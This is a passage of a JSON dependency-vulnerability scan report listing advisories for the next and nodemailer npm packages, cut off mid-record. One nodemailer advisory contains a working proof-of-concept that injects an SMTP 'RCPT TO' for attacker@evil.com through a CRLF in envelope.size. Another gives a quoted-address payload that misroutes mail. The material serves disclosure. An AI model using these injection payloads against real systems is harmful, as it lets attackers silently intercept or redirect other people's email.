"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-mwv6-3258-q52c"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://nextjs.org/blog/security-update-2025-12-11"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55184"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-3575-p24r-qcp7"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next Vulnerable to Denial of Service with Server Components"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-q4gf-8mx6-v5v3/GHSA-q4gf-8mx6-v5v3.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.15"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-q4gf-8mx6-v5v3/GHSA-q4gf-8mx6-v5v3.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0-beta.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.3"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-770"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-04-10T15:35:47Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "A vulnerability affects certain React Server Components packages for versions 19.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23869](https://github.com/facebook/react/security/advisories/GHSA-479c-33wc-g2pg). You can read more about this advisory our [this changelog](https://vercel.com/changelog/summary-of-cve-2026-23869).\n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage. This can result in denial of service in unpatched environments.",
|
||
"id": "GHSA-q4gf-8mx6-v5v3",
|
||
"modified": "2026-04-16T23:29:14.079063591Z",
|
||
"published": "2026-04-10T15:35:47Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-q4gf-8mx6-v5v3"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/summary-of-cve-2026-23869"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-jww2-236w-h9mr"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js has a Denial of Service with Server Components"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-qpjv-v59x-3qc4/GHSA-qpjv-v59x-3qc4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0.9.9"
|
||
},
|
||
{
|
||
"fixed": "14.2.24"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-qpjv-v59x-3qc4/GHSA-qpjv-v59x-3qc4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.1.6"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-32421"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-362"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-05-15T14:12:26Z",
|
||
"nvd_published_at": "2025-05-14T23:15:47Z",
|
||
"severity": "LOW"
|
||
},
|
||
"details": "**Summary** \nWe received a responsible disclosure from Allam Rachid (zhero) for a low-severity race-condition vulnerability in Next.js. This issue only affects the **Pages Router** under certain misconfigurations, causing normal endpoints to serve `pageProps` data instead of standard HTML.\n\n[Learn more here](https://vercel.com/changelog/cve-2025-32421)\n\n**Credit** \nThank you to **Allam Rachid (zhero)** for the responsible disclosure. This research was rewarded as part of our bug bounty program.",
|
||
"id": "GHSA-qpjv-v59x-3qc4",
|
||
"modified": "2025-09-26T17:48:29Z",
|
||
"published": "2025-05-15T14:12:26Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-qpjv-v59x-3qc4"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32421"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/cve-2025-32421"
|
||
}
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js Race Condition to Cache Poisoning"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vfv6-92ff-j949/GHSA-vfv6-92ff-j949.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.4.6"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vfv6-92ff-j949/GHSA-vfv6-92ff-j949.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44582"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-328"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T15:56:48Z",
|
||
"nvd_published_at": "2026-05-13T18:16:19Z",
|
||
"severity": "LOW"
|
||
},
|
||
"details": "### Impact\n\nReact Server Component responses can be vulnerable to cache poisoning in deployments that rely on shared caches with insufficient response partitioning. In affected conditions, collisions in the `_rsc` cache-busting value can allow an attacker to poison cache entries so users receive the wrong response variant for a given URL.\n\n### Fix\n\nWe strengthened the `_rsc` cache-busting mechanism to make practical collisions significantly harder and to better separate response variants that should not share cache entries.\n\n### Workarounds\n\nIf you cannot upgrade immediately, ensure intermediary caches correctly honor `Vary` for RSC-related request headers, or disable shared caching for affected RSC responses until you can deploy a patched release.",
|
||
"id": "GHSA-vfv6-92ff-j949",
|
||
"modified": "2026-05-14T20:52:41.365283Z",
|
||
"published": "2026-05-11T15:56:48Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-vfv6-92ff-j949"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44582"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-4x48-2rwf-8p59"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js vulnerable to cache poisoning via collisions in React Server Component cache-busting"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wfc6-r584-vfw7/GHSA-wfc6-r584-vfw7.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "14.2.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wfc6-r584-vfw7/GHSA-wfc6-r584-vfw7.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44576"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-436"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T15:54:46Z",
|
||
"nvd_published_at": "2026-05-13T17:16:23Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\n\nApplications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML.\n\n### Fix\n\nWe now validate and interpret `RSC` request headers consistently across request classification and rendering, and we enforce the intended cache-busting behavior so RSC payloads are not unexpectedly served from the original URL.\n\n### Workarounds\n\nIf you cannot upgrade immediately, ensure your CDN or reverse proxy keys on the relevant RSC request headers and honors `Vary`, or disable shared caching for affected App Router and RSC responses.",
|
||
"id": "GHSA-wfc6-r584-vfw7",
|
||
"modified": "2026-05-14T20:52:45.704849Z",
|
||
"published": "2026-05-11T15:54:46Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-wfc6-r584-vfw7"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44576"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-g4wh-cpq2-497j"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js vulnerable to cache poisoning in React Server Component responses"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-xv57-4mr9-wg8v/GHSA-xv57-4mr9-wg8v.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0.9.9"
|
||
},
|
||
{
|
||
"fixed": "14.2.31"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 15.4.4",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-xv57-4mr9-wg8v/GHSA-xv57-4mr9-wg8v.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.4.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-55173"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-20"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-08-29T21:59:55Z",
|
||
"nvd_published_at": "2025-08-29T22:15:31Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "A vulnerability in **Next.js Image Optimization** has been fixed in **v15.4.5** and **v14.2.31**. The issue allowed attacker-controlled external image sources to trigger file downloads with arbitrary content and filenames under specific configurations. This behavior could be abused for phishing or malicious file delivery.\n\nAll users relying on `images.domains` or `images.remotePatterns` are encouraged to upgrade and verify that external image sources are strictly validated.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-55173)",
|
||
"id": "GHSA-xv57-4mr9-wg8v",
|
||
"modified": "2026-02-04T04:35:34.538107Z",
|
||
"published": "2025-08-29T21:59:55Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-xv57-4mr9-wg8v"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55173"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/cve-2025-55173"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "http://vercel.com/changelog/cve-2025-55173"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-ff6x-f9mf-5q64"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js Content Injection Vulnerability for Image Optimization"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "nodemailer",
|
||
"version": "6.10.1",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-c7w3-x93f-qmm8"
|
||
],
|
||
"aliases": [
|
||
"GHSA-c7w3-x93f-qmm8"
|
||
],
|
||
"max_severity": "2.3"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-mm7p-fcc7-pg87"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-13033",
|
||
"GHSA-mm7p-fcc7-pg87"
|
||
],
|
||
"max_severity": "5.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-rcmh-qjqh-p98v"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-14874",
|
||
"GHSA-rcmh-qjqh-p98v"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-vvjj-xcjg-gr5g"
|
||
],
|
||
"aliases": [
|
||
"GHSA-vvjj-xcjg-gr5g"
|
||
],
|
||
"max_severity": "4.9"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-c7w3-x93f-qmm8/GHSA-c7w3-x93f-qmm8.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "nodemailer",
|
||
"purl": "pkg:npm/nodemailer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "8.0.4"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-93"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-03-26T22:26:46Z",
|
||
"nvd_published_at": null,
|
||
"severity": "LOW"
|
||
},
|
||
"details": "### Summary\nWhen a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\\r\\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.\n\n\n### Details\nIn `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:\n\n```javascript\nif (this._envelope.size \u0026\u0026 this._supportedExtensions.includes('SIZE')) {\n args.push('SIZE=' + this._envelope.size);\n}\n```\n\nThis contrasts with other envelope parameters in the same function that ARE properly sanitized:\n- **Addresses** (`from`, `to`): validated for `[\\r\\n\u003c\u003e]` at lines 1107-1127\n- **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183\n\nThe `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:\n\n```javascript\nconst standardFields = ['to', 'cc', 'bcc', 'from'];\nObject.keys(envelope).forEach(key =\u003e {\n if (!standardFields.includes(key)) {\n this._envelope[key] = envelope[key];\n }\n});\n```\n\nSince `_sendCommand()` writes the command string followed by `\\r\\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.\n\nNote: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. \nWhile this limits the attack surface, applications that expose envelope configuration to users are affected.\n\n### PoC\nave the following as `poc.js` and run with `node poc.js`:\n\n```javascript\nconst net = require('net');\nconst nodemailer = require('nodemailer');\n\n// Minimal SMTP server that logs raw commands\nconst server = net.createServer(socket =\u003e {\n socket.write('220 localhost ESMTP\\r\\n');\n let buffer = '';\n socket.on('data', chunk =\u003e {\n buffer += chunk.toString();\n const lines = buffer.split('\\r\\n');\n buffer = lines.pop();\n for (const line of lines) {\n if (!line) continue;\n console.log('C:', line);\n if (line.startsWith('EHLO')) {\n socket.write('250-localhost\\r\\n250-SIZE 10485760\\r\\n250 OK\\r\\n');\n } else if (line.startsWith('MAIL FROM')) {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('RCPT TO')) {\n socket.write('250 OK\\r\\n');\n } else if (line === 'DATA') {\n socket.write('354 Start\\r\\n');\n } else if (line === '.') {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('QUIT')) {\n socket.write('221 Bye\\r\\n');\n socket.end();\n }\n }\n });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n const port = server.address().port;\n console.log('SMTP server on port', port);\n console.log('Sending email with injected RCPT TO...\\n');\n\n const transporter = nodemailer.createTransport({\n host: '127.0.0.1',\n port,\n secure: false,\n tls: { rejectUnauthorized: false },\n });\n\n transporter.sendMail({\n from: 'sender@example.com',\n to: 'recipient@example.com',\n subject: 'Normal email',\n text: 'This is a normal email.',\n envelope: {\n from: 'sender@example.com',\n to: ['recipient@example.com'],\n size: '100\\r\\nRCPT TO:\u003cattacker@evil.com\u003e',\n },\n }, (err) =\u003e {\n if (err) console.error('Error:', err.message);\n console.log('\\nExpected output above:');\n console.log(' C: MAIL FROM:\u003csender@example.com\u003e SIZE=100');\n console.log(' C: RCPT TO:\u003cattacker@evil.com\u003e \u003c-- INJECTED');\n console.log(' C: RCPT TO:\u003crecipient@example.com\u003e');\n server.close();\n transporter.close();\n });\n});\n```\n\n**Expected output:**\n```\nSMTP server on port 12345\nSending email with injected RCPT TO...\n\nC: EHLO [127.0.0.1]\nC: MAIL FROM:\u003csender@example.com\u003e SIZE=100\nC: RCPT TO:\u003cattacker@evil.com\u003e\nC: RCPT TO:\u003crecipient@example.com\u003e\nC: DATA\n...\nC: .\nC: QUIT\n```\n\nThe `RCPT TO:\u003cattacker@evil.com\u003e` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.\n\n### Impact\nThis is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:\n\n- **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport\n- **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)\n- **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery\n\nThe severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.\n\nAffected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.",
|
||
"id": "GHSA-c7w3-x93f-qmm8",
|
||
"modified": "2026-04-06T15:44:21.417005164Z",
|
||
"published": "2026-03-26T22:26:46Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/nodemailer/nodemailer"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-9qvq-pvpp-2qw4"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-mm7p-fcc7-pg87/GHSA-mm7p-fcc7-pg87.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "nodemailer",
|
||
"purl": "pkg:npm/nodemailer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "7.0.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-13033"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-20",
|
||
"CWE-436"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-10-07T13:42:02Z",
|
||
"nvd_published_at": null,
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n service: \"gmail\",\n auth: {\n user: \"\",\n pass: \"\",\n },\n});\n\nlet mailOptions = {\n from: '\"Test Sender\" \u003cyour_email@gmail.com\u003e', \n to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n subject: \"Hello from Nodemailer\",\n text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n if (error) {\n return console.log(\"Error: \", error);\n }\n console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n const parser = await import(\"@sparser/email-address-parser\");\n const { EmailAddress, ParsingOptions } = parser.default;\n const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n if (!parsed) {\n console.error(\"Invalid email address:\", mailOptions.to);\n return;\n }\n\n console.log(\"Parsed email:\", {\n address: `${parsed.localPart}@${parsed.domain}`,\n local: parsed.localPart,\n domain: parsed.domain,\n });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n address: '\"xclow3n@gmail.com x\"@internal.domain',\n local: '\"xclow3n@gmail.com x\"',\n domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n- Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n- Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n- Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n- Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n- Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n- Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.",
|
||
"id": "GHSA-mm7p-fcc7-pg87",
|
||
"modified": "2026-02-04T04:17:09.385955Z",
|
||
"published": "2025-10-07T13:42:02Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13033"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://access.redhat.com/security/cve/CVE-2025-13033"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402179"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/nodemailer/nodemailer"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-28fp-q5jj-4hf3"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 7.0.10",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-rcmh-qjqh-p98v/GHSA-rcmh-qjqh-p98v.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "nodemailer",
|
||
"purl": "pkg:npm/nodemailer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "7.0.11"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-14874"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-703"
